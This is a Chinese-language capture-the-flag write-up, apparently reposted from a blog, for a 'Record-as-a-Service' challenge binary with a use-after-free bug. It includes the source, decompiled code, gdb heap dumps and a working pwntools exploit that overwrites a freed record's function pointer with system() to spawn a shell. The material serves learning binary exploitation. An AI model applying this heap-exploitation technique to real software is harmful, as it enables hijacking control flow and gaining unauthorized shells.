内容简介:这个题目给了源代码,题目提示是uaf。题目分析,程序有三种操作,添加记录、删除记录,展示记录。其中删除记录中,只是释放了空间,但是指针没有被清空,导致uaf。结构体如下
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
struct record {
void (*print)(struct record *);
void (*free)(struct record *);
union {
int integer;
char *string;
};
};
struct record *records[16];
int ask(const char * q)
{
char buff[32];
printf("%s > ", q);
fgets(buff, sizeof(buff), stdin);
return atoi(buff);
}
void rec_int_print(struct record *rec)
{
printf("Record(Type=Integer, Value=%d)\n", rec->integer);
}
void rec_str_print(struct record *rec)
{
printf("Record(Type=String, Value=%s)\n", rec->string);
}
void rec_int_free(struct record *rec)
{
free(rec);
puts("Record freed!");
}
void rec_str_free(struct record *rec)
{
free(rec->string);
free(rec);
puts("Record freed!");
}
void do_new()
{
int idx = ask("Index");
if(idx < 0 || idx > 16) {
puts("Out of index!");
return;
}
if(records[idx]) {
printf("Index #%d is used!\n", idx);
return;
}
struct record *r = records[idx] = (struct record *)malloc(sizeof(struct record));
r->print = rec_int_print;
r->free = rec_int_free;
puts("Blob type:");
puts("1. Integer");
puts("2. Text");
int type = ask("Type");
unsigned int len;
switch(type) {
case 1:
r->integer = ask("Value");
break;
case 2:
len = ask("Length");
if(len > 1024) {
puts("Length too long, please buy record service premium to store longer record!");
return;
}
r->string = malloc(len);
printf("Value > ");
fgets(r->string, len, stdin);
r->print = rec_str_print;
r->free = rec_str_free;
break;
default:
puts("Invalid type!");
return;
}
puts("Okey, we got your data. Here is it:");
r->print(r);
}
void do_del()
{
int idx = ask("Index");
records[idx]->free(records[idx]);
}
void do_dump()
{
int idx = ask("Index");
records[idx]->print(records[idx]);
}
int main()
{
alarm(600);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
puts("Welcome to use my Record-as-a-Service (free plan)");
puts("You can only save Integer or String for 600 seconds");
puts("Pay 1,000,000,000,000,000,000,000,000 bitcoins to buy premium plan");
puts("Here is term of service. You must agree to use this service. Please read carefully!");
puts("================================================================================");
system("cat tos.txt | head -n 30 | sed -e 's/^/ /'");
puts("================================================================================");
while(1) {
puts("1. New record");
puts("2. Del record");
puts("3. Show record");
switch(ask("Act")) {
case 1:
do_new();
break;
case 2:
do_del();
break;
case 3:
do_dump();
break;
default:
puts("Bye~ Thanks for using our service!");
return 0;
}
}
}
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
分析
这个题目给了源代码,题目提示是uaf。
题目分析,程序有三种操作,添加记录、删除记录,展示记录。其中删除记录中,只是释放了空间,但是指针没有被清空,导致uaf。
结构体如下
struct record {
void (*print)(struct record *);
void (*free)(struct record *);
union {
int integer;
char *string;
};
};
看do_new函数逻辑:
int do_new()
{
int v1; // eax
signed int v2; // [esp+0h] [ebp-18h]
int v3; // [esp+4h] [ebp-14h]
size_t size; // [esp+Ch] [ebp-Ch]
v2 = ask("Index");
if ( v2 < 0 || v2 > 16 )
return puts("Out of index!");
if ( records[v2] )
return printf("Index #%d is used!\n", v2);
records[v2] = malloc(0xCu);
v3 = records[v2];
*v3 = rec_int_print;
*(v3 + 4) = rec_int_free;
puts("Blob type:");
puts("1. Integer");
puts("2. Text");
v1 = ask("Type");
if ( v1 == 1 )
{
*(v3 + 8) = ask("Value");
}
else
{
if ( v1 != 2 )
return puts("Invalid type!");
size = ask("Length");
if ( size > 0x400 )
return puts("Length too long, please buy record service premium to store longer record!");
*(v3 + 8) = malloc(size);
printf("Value > ");
fgets(*(v3 + 8), size, _bss_start);
*v3 = rec_str_print;
*(v3 + 4) = rec_str_free;
}
puts("Okey, we got your data. Here is it:");
return (*v3)(v3);
}
- 先malloc了12字节的堆
- 头4个字节存用于print结构体的函数指针
- 再4个字节存用于free结构体的函数指针
- 如果type是integer,最后四个字节存输入的整数,
- 如果type是string,获取长度,malloc一个指定长度的堆,新malloc的堆的指针存到之前那12字节的最后四个字节里
利用思路:
- new 两个record,delete掉,这里的record类型随意,但是字符的要注意新new的长度不要等于12
- new一个字符串类型的record,长度为12,假设new的两个record是0、1,删除的顺序是0、1,那么这个时候在fastbin的链表里面是 1->0 ,new一个record,存函数指针那个堆复用了1的堆,用来存内容的那个堆是用了0的堆
- 往0那个堆里面写我们想要的东西,再删除0的record,这样就能getshell
调试
进行以下操作:
- new index=1 int 0xff
- new index=2 int 0x88
- delete index=1
- delete index=2
- new index=3 str ‘aaaabbbbccc’
- new index=4 str ‘dddd’
先添加两个整数
gdb-peda$ x /32wx 0x0804c008 0x804c008: 0x0804869e 0x080486de 0x000000ff 0x00000011 0x804c018: 0x0804869e 0x080486de 0x00000088 0x00020fe1
对应是:
地址 print函数指针 free函数指针 整型变量 0x804c008 0x0804869e 0x080486de 0x000000ff
释放掉两个整数的堆:
gdb-peda$ x /32wx 0x0804c008 0x804c008: 0x00000000 0x080486de 0x000000ff 0x00000011 0x804c018: 0x0804c000 0x080486de 0x00000088 0x00020fe1
添加字符串aaaabbbbccc后的堆:
gdb-peda$ x/32wx 0x9a49008 0x9a49008: 0x00000000 0x080486de 0x000000ff 0x00000011 0x9a49018: 0x080486be 0x08048705 0x09a49028 0x00000019 0x9a49028: 0x61616161 0x62626262 0x0a636363 0x00000000 0x9a49038: 0x00000000 0x00020fc9 0x00000000 0x00000000
以看到,输出aaaabbbbccc的时候,占用的就是原来index=1的整数分配的空间。其中aaaa覆盖了print函数的指针,bbbb覆盖了free函数的指针。虽然index=1被释放了,但是指针还在。如果此时再调用do_del来释放index=1的内容,就可以控制EIP了。
exp:
from pwn import *
context(arch='i386',log_level='debug')
r=process('./raas')
# r=remote('hackme.inndy.tw',7719)
elf=ELF('./raas')
system=elf.symbols['system']
def add(Index,Type,Length,Value):
r.sendlineafter("Act > ","1")
r.sendlineafter("Index > ",str(Index))
r.sendlineafter("Type > ",str(Type))
if Type==2:
r.sendlineafter("Length > ",str(Length))
r.sendlineafter("Value > ",str(Value))
def delete(Index):
r.sendlineafter("Act > ","2")
r.sendlineafter("Index > ",str(Index))
def show(Index):
r.sendlineafter("Act > ","3")
r.sendlineafter("Index > ",str(Index))
add(0,1,20,"0000")
add(1,1,20,"1111")
delete(0)
delete(1)
# gdb.attach(r)
add(2,2,12,'sh\x00\x00'+p32(system))
delete(0)
r.interactive()
参考
- https://genowang.github.io/2019/01/01/hackme-inndy-tw-PWN%E7%AC%94%E8%AE%B0/#onepunch
- https://blog.csdn.net/charlie_heng/article/details/78943796
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
JS 压缩/解压工具
在线压缩/解压 JS 代码
正则表达式在线测试
正则表达式在线测试